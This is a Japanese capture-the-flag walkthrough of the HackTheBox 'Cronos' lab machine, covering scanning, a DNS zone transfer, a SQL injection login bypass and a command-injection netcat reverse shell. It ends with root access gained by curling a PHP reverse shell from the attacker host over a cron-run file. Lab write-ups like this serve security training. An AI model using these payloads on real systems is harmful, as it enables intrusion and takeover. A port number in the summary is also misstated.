Table of Contents
Enumeration: Portscan by Nmap
Nmapでターゲット「10.10.10.13」に対してポートスキャンを実施。
※Nmapについて詳しく知りたい方は、以下のリンクをご参照ください。
nmap -sC -sV -oA cronos 10.10.10.13
-sC: default script scan
-sV: service version detection against open ports
-oA: Output in the three major formats at once
root@kali:~# nmap -sC -sV -oA cronos 10.10.10.13 Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 22:56 EDT Nmap scan report for 10.10.10.13 Host is up (0.24s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA) | 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA) |_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.10.3-P4-Ubuntu 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
以下のポートで各サービスが動作していることを確認。
22/tcp (SSH):
– Version: OpenSSH 7.2p2 Ubuntu 4ubuntu2.1
83/tcp (DNS):
– Version: 9.10.3-P4-Ubuntu
80/tcp (WEB):
– Version: Apache httpd 2.4.18
Enumeration: 80/tcp (WEB)
ブラウザで http://10.10.10.13にアクセスすると、Apache2のデフォルト画面が表示される。
ターゲット上でDNS(53/tcp)が動作しているので、nslookupを用いてDNSの照会先サーバに10.10.10.13を指定した上でターゲットが属するドメイン名「cronos.htb」の名前解決を行ってみる。問題なく正引き「cronos.htb > 10.10.10.13」されていることを確認。
nslookup cronos.htb 10.10.10.13
root@kali:~# nslookup cronos.htb 10.10.10.13 Server: 10.10.10.13 Address: 10.10.10.13#53 Name: cronos.htb Address: 10.10.10.13
ホストファイル「/etc/hosts」の3行目にターゲットのホスト名とIPの対応を記述する。
1 127.0.0.1 localhost 2 127.0.1.1 kali 3 10.10.10.13 cronos.htb 4 5 # The following lines are desirable for IPv6 capable hosts 6 ::1 localhost ip6-localhost ip6-loopback 7 ff02::1 ip6-allnodes 8 ff02::2 ip6-allrouters
ブラウザからhttp://cronos.htbにアクセスした際ににホストファイルの変更箇所が参照かつ名前解決が行われ、以下の新しいページが表示される。
次にドメイン「cronos.htb」に属するホストの一覧を洗い出すため、digコマンドでゾーン転送要求を行う。
dig axfr @10.10.10.13 cronos.htb
Usage: dig [@global-server] [domain]
新たに「admin.cronos.htb」など複数のホストが見つかった。
root@kali:~# dig axfr @10.10.10.13 cronos.htb ; <<>> DiG 9.11.4-2-Debian <<>> axfr @10.10.10.13 cronos.htb ; (1 server found) ;; global options: +cmd cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 cronos.htb. 604800 IN NS ns1.cronos.htb. cronos.htb. 604800 IN A 10.10.10.13 admin.cronos.htb. 604800 IN A 10.10.10.13 ns1.cronos.htb. 604800 IN A 10.10.10.13 www.cronos.htb. 604800 IN A 10.10.10.13 cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 ;; Query time: 245 msec ;; SERVER: 10.10.10.13#53(10.10.10.13) ;; WHEN: Fri Apr 24 00:18:46 EDT 2020 ;; XFR size: 7 records (messages 1, bytes 203)
先程と同様にホストファイル「/etc/hosts」の3行目にadmin.cronos.htbを追加する。
1 127.0.0.1 localhost 2 127.0.1.1 kali 3 10.10.10.13 cronos.htb admin.cronos.htb 4 5 # The following lines are desirable for IPv6 capable hosts 6 ::1 localhost ip6-localhost ip6-loopback 7 ff02::1 ip6-allnodes 8 ff02::2 ip6-allrouters
ブラウザからadmin.cronos.htbにアクセスすると、今度はログインページが表示される。
当該ログインページに対するSQL inejctionの有効性を調査するためSqlmapでスキャンを行う。
※Sqlmapについて詳しく知りたい方は、以下のリンクをご参照ください。
Burp SuiteでログインページへのHTTP RequestをIneterceptしてその内容をコピーすることで、Sqlmapで必要なRequestファイル「login.req」を作成する。
・loing.req
POST / HTTP/1.1 Host: admin.cronos.htb User-Agent: Mozilla/5.0 (X11; Linux i686; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://admin.cronos.htb/ Content-Type: application/x-www-form-urlencoded Content-Length: 29 Connection: close Cookie: PHPSESSID=29eihhrbh63qf4dumvv799uek0 Upgrade-Insecure-Requests: 1 username=admin&password=admin
以下のコマンドを実行して、Sqlmapのスキャンを開始する。
sqlmap -r login.req
今回は何も見つからなかったが、Sqlmapを用いたSQL Injectionの影響有無に関する確認方法は簡単かつ便利なので覚えておくことをお勧めする。
oot@kali:~/Desktop/htb/cronos# sqlmap -r login.req ___ __H__ ___ ___[,]_____ ___ ___ {1.2.7#stable} |_ -| . [,] | .'| . | |___|_ [']_|_|_|__,| _| |_|V |_| http://sqlmap.org -----抜粋----- [11:57:32] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment')
今度は自動スキャンで手動でログインページのUserNameに「admin ‘ or ‘a’ = ‘a」を入力するとSQL Injectionが成功しログインが出来る。
ログイン後はtracerouteやpingが実行できるツールのページ「welcome.php」が下に表示される。
Reverse Shell via Command Injection
以下の通り、フィールドに「8.8.8,8;whoami」を入力するとwhoamiコマンドの実行結果「www-data」が表示される。このCommand Injectionの脆弱性を利用して、シェルの奪取を図る。
「which nc」の実行結果より、ターゲットにnetcatがインストールされていることを確認した上で、以下のサイトで紹介されているnetcatを使ったReverse Shellの取得用コマンドを利用する。
攻撃用端末にてNetcatよりターゲットからのReverse ShellをPort1234で待ち受ける。
nc -nlvp 1234
下記のReverse Shell取得用コマンドをフィールドに入力してCommand Injectionを成立させる。
8.8.8.8; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 1234 >/tmp/f
一般ユーザ「www-data」で動作するシェル奪取に成功。
root@kali:~/Desktop/htb/cronos# nc -nlvp 1234 listening on [any] 1234 ... connect to [10.10.14.5] from (UNKNOWN) [10.10.10.13] 47630 /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
操作性向上のため、以下のコマンドよりFully Interactive Shellに昇格させる。
$ python -c 'import pty;pty.spawn("/bin/bash");'
$ python -c ‘import pty;pty.spawn(“/bin/bash”);’
www-data@cronos:/var/www/admin$
Privilege Escalation (Linux) with crontab
ターゲットに存在する権限昇格の脆弱性を探すために、以下のサイトの「LinEnum.sh」を実行する。
www-data@cronos:/dev/shm/10.10.14.5$ bash LinEnum.sh
[-] Crontab contents: # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) * * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
LinEnum.shの実行結果によると、crontabに毎分rootで実行されるタスクが「php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1」登録されている。そこで、phpファイル「/var/www/laravel/artisan」を同一のファイル名のまま以下の「php-reverse-shell」に置換することでrootで動作するReverse Shellを実行させる。
以下のように、php-reverse-shell.pyの宛先を攻撃端末のIP/Portに書き換える。
$ip = '10.10.14.5'; // CHANGE THIS $port = 4444; // CHANGE THIS
ターゲット上の/var/www/laravel配下にcurl経由でphp-reverse-shell.pyをartisanのファイル名でダウンロードし、chmodでスクリプトの実行権限を付与する。
www-data@cronos:/var/www/laravel$ curl http://10.10.14.5/php-reverse-shell.php -o artisan <ravel$ curl http://10.10.14.5/php-reverse-shell.php -o artisan % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 5492 100 5492 0 0 11334 0 --:--:-- --:--:-- --:--:-- 11347 www-data@cronos:/var/www/laravel$ chmod +x artisan chmod +x artisan
攻撃用端末上でNetcatよりPort4444で待ち受けていると、crontabよりReverse Shellであるphpファイル「artisan」が実行され、root権限で動作するシェルを奪取出来る。
root@kali:/opt/reverse_shell# nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.5] from (UNKNOWN) [10.10.10.13] 44754 Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 21:43:02 up 3:09, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=0(root) gid=0(root) groups=0(root) /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root)
Link
- HackTheBox – CronOS by IppSec
https://www.youtube.com/watch?v=CYeVUmOar3I - HackTheBox – Cronos | Noob To OSCP Episode #12
https://www.youtube.com/watch?v=gmYbqZG3PBU